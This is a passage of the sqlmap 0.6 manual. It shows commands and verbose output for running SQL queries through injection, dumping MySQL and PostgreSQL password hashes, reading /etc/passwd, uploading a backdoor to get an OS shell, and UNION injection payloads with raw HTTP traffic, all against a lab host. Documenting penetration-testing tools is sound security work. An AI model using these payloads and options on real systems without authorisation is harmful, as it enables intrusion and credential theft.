+ +

Options: --sql-query and --sql-shell

+ +

The SQL query and the SQL shell features makes the user able to run +whatever SELECT statement on the web application's back-end +database management system and retrieve its output.

+ +

Examples on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
+  "SELECT 'foo'" -v 1
+
+[...]
+[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
+[hh:mm:14] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
+(CHAR(32)))
+[hh:mm:14] [INFO] retrieved: foo
+[hh:mm:14] [INFO] performed 27 queries in 0 seconds
+SELECT 'foo':    'foo'
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
+  "SELECT 'foo', 'bar'" -v 1
+
+[...]
+[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
+[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into 
+distinct queries to be able to retrieve the output even if we are going blind
+[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
+(CHAR(32)))
+[hh:mm:50] [INFO] retrieved: foo
+[hh:mm:50] [INFO] performed 27 queries in 0 seconds
+[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), 
+(CHAR(32)))
+[hh:mm:50] [INFO] retrieved: bar
+[hh:mm:50] [INFO] performed 27 queries in 0 seconds
+SELECT 'foo', 'bar':    'foo, bar'
+
+
+

+ +

As you can see from this last example, sqlmap splits the query in two +different SELECT statement to be able to retrieve the output even +in blind SQL injection technique. +Otherwise in inband SQL injection technique it only perform a single HTTP +request to get the user's query output:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
+  "SELECT 'foo', 'bar'" -v 1 --union-use
+
+[...]
+[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
+[hh:mm:03] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
+[hh:mm:03] [INFO] confirming inband sql injection on parameter 'id'
+[hh:mm:03] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:03] [INFO] query:  UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
+CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
++(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
+CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
+CHAR(116)), NULL-- AND 8373=8373
+[hh:mm:03] [INFO] performed 3 queries in 0 seconds
+SELECT 'foo', 'bar' [1]:
+[*] foo, bar
+
+
+

+ +

Examples on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --sql-query \
+  "SELECT 'foo' FROM dual"
+
+[hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n
+SELECT 'foo' FROM dual:    'foo'
+
+
+

+ +

As you can see, if your SELECT statement contains a FROM +clause, sqlmap asks the user if such statement can return multiple entries +and in such case the tool knows how to unpack the query correctly to +retrieve its whole output line per line.

+

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-query \
+  "SELECT usename FROM pg_user"
+
+[hh:mm:47] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries 
+do you want to retrieve?
+[a] All (default)
+[#] Specific number
+[q] Quit
+Choice: 2
+SELECT usename FROM pg_user [2]:
+[*] postgres
+[*] testuser
+
+
+

+ +

As you can see, in the last example sqlmap counts the number of entries +for your query and asks how many entries from the top you want to dump. +Otherwise if you specify also the LIMIT, or similar, clause +sqlmap will not ask anything, just unpack the query and return its +output.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-query \
+  "SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1
+
+[...]
+back-end DBMS:  MySQL >= 5.0.0
+
+[hh:mm:11] [INFO] fetching SQL SELECT query output: 'SELECT user, host, password FROM 
+mysql.user LIMIT 1, 3'
+[hh:mm:12] [INFO] the SQL query provided has more than a field. sqlmap will now unpack 
+it into distinct queries to be able to retrieve the output even if we are going blind
+[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 1, 1
+[hh:mm:12] [INFO] retrieved: root
+[hh:mm:12] [INFO] performed 34 queries in 0 seconds
+[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 1, 1
+[hh:mm:12] [INFO] retrieved: localhost
+[hh:mm:12] [INFO] performed 69 queries in 0 seconds
+[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 1, 1
+[hh:mm:12] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[hh:mm:13] [INFO] performed 293 queries in 0 seconds
+[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 2, 1
+[hh:mm:13] [INFO] retrieved: root
+[hh:mm:13] [INFO] performed 34 queries in 0 seconds
+[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 2, 1
+[hh:mm:13] [INFO] retrieved: leboyer
+[hh:mm:13] [INFO] performed 55 queries in 0 seconds
+[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 2, 1
+[hh:mm:13] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[hh:mm:14] [INFO] performed 293 queries in 0 seconds
+[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 3, 1
+[hh:mm:14] [INFO] retrieved: root
+[hh:mm:14] [INFO] performed 34 queries in 0 seconds
+[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 3, 1
+[hh:mm:14] [INFO] retrieved: 127.0.0.1
+[hh:mm:14] [INFO] performed 69 queries in 0 seconds
+[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user 
+ORDER BY user ASC LIMIT 3, 1
+[hh:mm:14] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[hh:mm:15] [INFO] performed 293 queries in 0 seconds
+SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]:
+[*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[*] root, 127.0.0.1, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+
+
+

+ +

The SQL shell option gives you access to run your own SQL SELECT +statement interactively, like a SQL console logged into the back-end +database management system. +This feature has TAB completion and history support.

+ +

Example of history support on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell
+
+sql> SELECT 'foo'
+SELECT 'foo':    'foo'
+
+sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
+sql> SELECT version()
+SELECT version():    'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 
+(Ubuntu 4.2.3-2ubuntu4)'
+
+sql> exit
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell
+
+sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
+sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
+[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries 
+do you want to retrieve?
+[a] All (default)
+[#] Specific number
+[q] Quit
+Choice: 
+SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
+[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
+[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
+[*] testuser2, 
+
+
+

+ +

Example of TAB completion on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell
+
+sql> [TAB TAB]
+AND ORD(MID((%s), %d, 1)) > %d
+CAST(%s AS CHAR(10000))
+COUNT(%s)
+CURRENT_USER()
+DATABASE()
+IFNULL(%s, ' ')
+LENGTH(%s)
+LIMIT %d, %d
+MID((%s), %d, %d)
+ORDER BY %s ASC
+SELECT %s FROM %s.%s
+SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND 
+table_schema='%s'
+SELECT grantee FROM information_schema.USER_PRIVILEGES
+SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
+SELECT schema_name FROM information_schema.SCHEMATA
+SELECT table_schema, table_name FROM information_schema.TABLES
+SELECT user, password FROM mysql.user
+VERSION()
+sql> SE[TAB]
+sql> SELECT
+
+
+

+ +

As you can see the TAB functionality shows the queries defined for the +back-end database management system in sqlmap XML queries file, but you +can run whatever SELECT statement that you want.

+ +

Example of asterisk expansion on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell \
+  -v 1
+
+[...]
+[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
+sql> SELECT * FROM test.users
+[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users'
+[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column 
+names itself.
+[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
+[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) FROM 
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
+table_schema=CHAR(116,101,115,116)
+[hh:mm:48] [INFO] retrieved: 3
+[hh:mm:48] [INFO] performed 13 queries in 0 seconds
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
+table_schema=CHAR(116,101,115,116) LIMIT 0, 1
+[hh:mm:48] [INFO] retrieved: id
+[hh:mm:48] [INFO] performed 20 queries in 0 seconds
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
+table_schema=CHAR(116,101,115,116) LIMIT 1, 1
+[hh:mm:48] [INFO] retrieved: name
+[hh:mm:48] [INFO] performed 34 queries in 0 seconds
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
+table_schema=CHAR(116,101,115,116) LIMIT 2, 1
+[hh:mm:48] [INFO] retrieved: surname
+[hh:mm:48] [INFO] performed 55 queries in 0 seconds
+[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
+[hh:mm:48] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM test.users
+[hh:mm:04] [INFO] retrieved: 5
+[hh:mm:04] [INFO] performed 13 queries in 0 seconds
+[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many entries 
+do you want to retrieve?
+[a] All (default)
+[#] Specific number
+[q] Quit
+Choice: 3
+[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] retrieved: 1
+[hh:mm:09] [INFO] performed 13 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] retrieved: luther
+[hh:mm:09] [INFO] performed 48 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] retrieved: blissett
+[hh:mm:09] [INFO] performed 62 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] retrieved: 2
+[hh:mm:09] [INFO] performed 13 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] retrieved: fluffy
+[hh:mm:09] [INFO] performed 48 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] retrieved: bunny
+[hh:mm:09] [INFO] performed 41 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] retrieved: 3
+[hh:mm:09] [INFO] performed 13 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] retrieved: wu
+[hh:mm:09] [INFO] performed 20 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users 
+ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] retrieved: ming
+[hh:mm:10] [INFO] performed 34 queries in 0 seconds
+SELECT * FROM test.users [3]:
+[*] 1, luther, blissett
+[*] 2, fluffy, bunny
+[*] 3, wu, ming
+
+
+

+ +

As you can see in this last example, if the SELECT statement has +an asterisk instead of the column(s) name, sqlmap first retrieves the +column names of the table then asks if the query can return multiple +entries and goes on.

+ + +

5.5 File system access +

+ +

Read a specific file content

+ +

Option: --read-file

+ +

If the back-end database management system is MySQL and the current user +has access to the LOAD_FILE() function, it is possible to read +the content of a specific file from the file system.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \
+  --read-file /etc/passwd
+
+/etc/passwd:
+---
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/bin/sh
+man:x:6:12:man:/var/cache/man:/bin/sh
+lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+mail:x:8:8:mail:/var/mail:/bin/sh
+news:x:9:9:news:/var/spool/news:/bin/sh
+uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+proxy:x:13:13:proxy:/bin:/bin/sh
+www-data:x:33:33:www-data:/var/www:/bin/false
+backup:x:34:34:backup:/var/backups:/bin/sh
+nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
+postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
+---
+
+
+

+ + +

5.6 Operating system access +

+ +

Prompt for an interactive operating system shell

+ +

Option: --os-shell

+ +

If the back-end database management system is MySQL, the web application's +programming language is PHP and you, or sqlmap itself, found a writable +directory within the web server document root path, sqlmap can prompt for +an interactive operating system shell on the back-end database management +system.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \
+  --os-shell
+
+[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path
+[hh:mm:49] [WARNING] unable to retrieve the remote web server document root
+[hh:mm:49] [INPUT] please provide the web server document root [/var/www]: 
+[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that 
+you want sqlmap to try to upload the agent [/var/www/test]: 
+[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands 
+right now? [Y/n] y
+$ id
+uid=33(www-data) gid=33(www-data) groups=33(www-data)
+$ exit
+
+
+

+ +

As you might notice, such operating system shell has the same +functionalities of SQL shell.

+ + +

5.7 Miscellaneous +

+ +

Test for UNION SELECT query SQL injection

+ +

Option: --union-test

+ +

It is possible to test if the target URL is affected by an inband +SQL injection vulnerability. +Refer to the Techniques section for details on this SQL injection +technique.

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
+  --union-test -v 1
+
+[...]
+back-end DBMS:  Oracle
+
+[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union:    'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT 
+NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2'
+
+
+

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \
+  --union-test -v 1
+
+[...]
+back-end DBMS:  PostgreSQL
+
+[hh:mm:05] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union:    'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT 
+NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2'
+
+
+

+ +

As you can see, the target URL parameter id might be also +affected by an inband SQL injection. +In case this vulnerability is exploitable it is strongly recommended to +use it.

+ +

Use the UNION SELECT query SQL injection

+ +

Option: --union-use

+ +

Providing the --union-use parameter, sqlmap will first test if +the target URL is affected by an inband SQL injection +(--union-test) vulnerability then, in case it is vulnerable and +exploitable, it will trigger this vulnerability to retrieve the output of +the SELECT queries.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \
+  --union-use --banner
+
+[...]
+back-end DBMS:  Microsoft SQL Server 2000
+
+[hh:mm:42] [INFO] fetching banner
+[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
+[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection 
+vulnerability
+[hh:mm:42] [INFO] query:  UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
+CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
+CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
+[hh:mm:42] [INFO] performed 3 queries in 0 seconds
+banner:
+---
+Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 
+        Aug  6 2000 00:57:48 
+        Copyright (c) 1988-2000 Microsoft Corporation
+        Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+---
+
+
+

+ +

As you can see, the vulnerable parameter (id) is affected by both +blind SQL injection and exploitable inband SQL injection vulnerabilities.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \
+  --union-use --banner
+
+[...]
+[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection 
+vulnerability
+[hh:mm:25] [INFO] query:  UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
+IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL-- 
+AND 6043=6043
+[hh:mm:25] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
+%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
+%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
+06043=6043&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Mon, 28 Jul 2008 22:34:25 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 194
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr>
+</table>
+</body></html>
+
+[hh:mm:25] [INFO] performed 3 queries in 0 seconds
+banner:    '5.0.51a-3ubuntu5.2'
+
+
+

+ +

As you can see, the MySQL version() function (banner) output is +nested (inband) within the HTTP response page, this makes the inband SQL +injection exploitable.

+ + +

Estimated time of arrival

+ +

Option: --eta

+ +

It is possible to calculate and show the estimated time of arrival to +retrieve each query output in real time while performing the SQL injection +attack.

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b \
+  --eta -v 1
+
+[...]
+back-end DBMS:  Oracle
+
+[hh:mm:24] [INFO] fetching banner
+[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query 
+output again
+[hh:mm:24] [INFO] retrieved the length of query output: 64
+[hh:mm:24] [INFO] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version 
+WHERE ROWNUM=1
+77% [=======================================>            ] 49/64  ETA 00:00    
+
+
+

+ +

then:

+

+

+
+100% [====================================================] 64/64              
+[hh:mm:15] [INFO] performed 454 queries in 2 seconds
+banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
+
+
+

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" \
+  --users --eta -v 1
+
+[...]
+back-end DBMS:  Microsoft SQL Server 2000
+
+[hh:mm:57] [INFO] fetching database users
+[hh:mm:57] [INFO] fetching number of database users
+[hh:mm:57] [INFO] query: SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS VARCHAR(8000)), 
+(CHAR(32))) FROM master..syslogins
+[hh:mm:57] [INFO] retrieved: 3
+[hh:mm:57] [INFO] performed 13 queries in 0 seconds
+[hh:mm:57] [INFO] retrieved the length of query output: 22
+[hh:mm:57] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM 
+master..syslogins WHERE name NOT IN (SELECT TOP 0 name FROM master..syslogins ORDER BY name) 
+ORDER BY name
+100% [====================================================] 22/22              
+[hh:mm:58] [INFO] performed 160 queries in 0 seconds
+[hh:mm:58] [INFO] retrieved the length of query output: 2
+[hh:mm:58] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM 
+master..syslogins WHERE name NOT IN (SELECT TOP 1 name FROM master..syslogins ORDER BY name) 
+ORDER BY name
+100% [====================================================] 2/2                
+[hh:mm:59] [INFO] performed 20 queries in 0 seconds
+[hh:mm:59] [INFO] retrieved the length of query output: 25
+[hh:mm:59] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM 
+master..syslogins WHERE name NOT IN (SELECT TOP 2 name FROM master..syslogins ORDER BY name) 
+ORDER BY name
+100% [====================================================] 25/25              
+[hh:mm:00] [INFO] performed 181 queries in 1 seconds
+database management system users [3]:
+[*] BUILTIN\Administrators
+[*] sa
+[*] W2KITINQUIS\Administrator
+
+
+

+ +

As you can see, sqlmap first calculates the length of the query output, +then estimated the time of arrival, shows the progress in percentage and +counts the number of retrieved query output characters.

+ + +

Update sqlmap to the latest stable version

+ +

Option: --update

+ + +

It is possible to update sqlmap to the latest stable version available on +its +SourceForge File List page by running it with the +--update option.

+

+

+
+$ python sqlmap.py --update -v 4
+
+[hh:mm:53] [DEBUG] initializing the configuration
+[hh:mm:53] [DEBUG] initializing the knowledge base
+[hh:mm:53] [DEBUG] cleaning up configuration parameters
+[hh:mm:53] [DEBUG] setting the HTTP method to perform HTTP requests through
+[hh:mm:53] [DEBUG] creating HTTP requests opener object
+[hh:mm:53] [INFO] updating sqlmap
+[hh:mm:53] [DEBUG] checking if a new version is available
+[hh:mm:55] [TRAFFIC OUT] HTTP request:
+GET /doc/VERSION HTTP/1.1
+Host: sqlmap.sourceforge.net
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 01 Aug 2008 14:50:55 GMT
+Server: Apache/1.3.33 (Unix) PHP/4.3.10
+Last-Modified: Thu, 31 Jul 2008 11:10:19 GMT
+ETag: "9fcc53e-4-48919d9b"
+Accept-Ranges: bytes
+Content-Length: 4
+Connection: close
+Content-Type: text/plain
+X-Pad: avoid browser bug
+
+[hh:mm:55] [INFO] you are already running sqlmap latest stable version
+[hh:mm:55] [INFO] updating Microsoft SQL Server XML versions file
+[hh:mm:56] [TRAFFIC OUT] HTTP request:
+GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
+Host: www.sqlsecurity.com
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; 
+language=en-US
+Connection: close
+
+[hh:mm:02] [TRAFFIC IN] HTTP response (OK - 200):
+Cache-Control: private
+Connection: close
+Date: Fri, 01 Aug 2008 14:50:50 GMT
+Content-Length: 167918
+Content-Type: text/html; charset=utf-8
+Server: Microsoft-IIS/6.0
+X-Powered-By: ASP.NET
+X-AspNet-Version: 2.0.50727
+Set-Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; 
+expires=Fri, 10-Oct-2008 01:30:49 GMT; path=/; HttpOnly
+Set-Cookie: language=en-US; path=/; HttpOnly
+
+[hh:mm:02] [INFO] no new Microsoft SQL Server versions since the last update
+[hh:mm:02] [DEBUG] parsing XML queries file
+
+
+

+ +

As you can see, sqlmap first check if a new stable version is available, +then in case it is, download it, unzip it and update the Microsoft SQL +Server XML versions file from Chip Andrews' +SQLSecurity.com site.

+ +

Note that the default configuration file sqlmap.conf is backupped +to sqlmap.conf.bak in case a new stable version is available and +your copy is updated.

+ + +

Save and resume all data retrieved on a session file

+ +

Option: -s

+ +

It is possible to log all queries and their output on a text file while +performing whatever request, both in blind SQL injection and in inband SQL +injection. +This is useful if you stop the injection and resume it after some time.

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
+  -v 1 -s "sqlmap.log"
+
+[...]
+back-end DBMS:  PostgreSQL
+
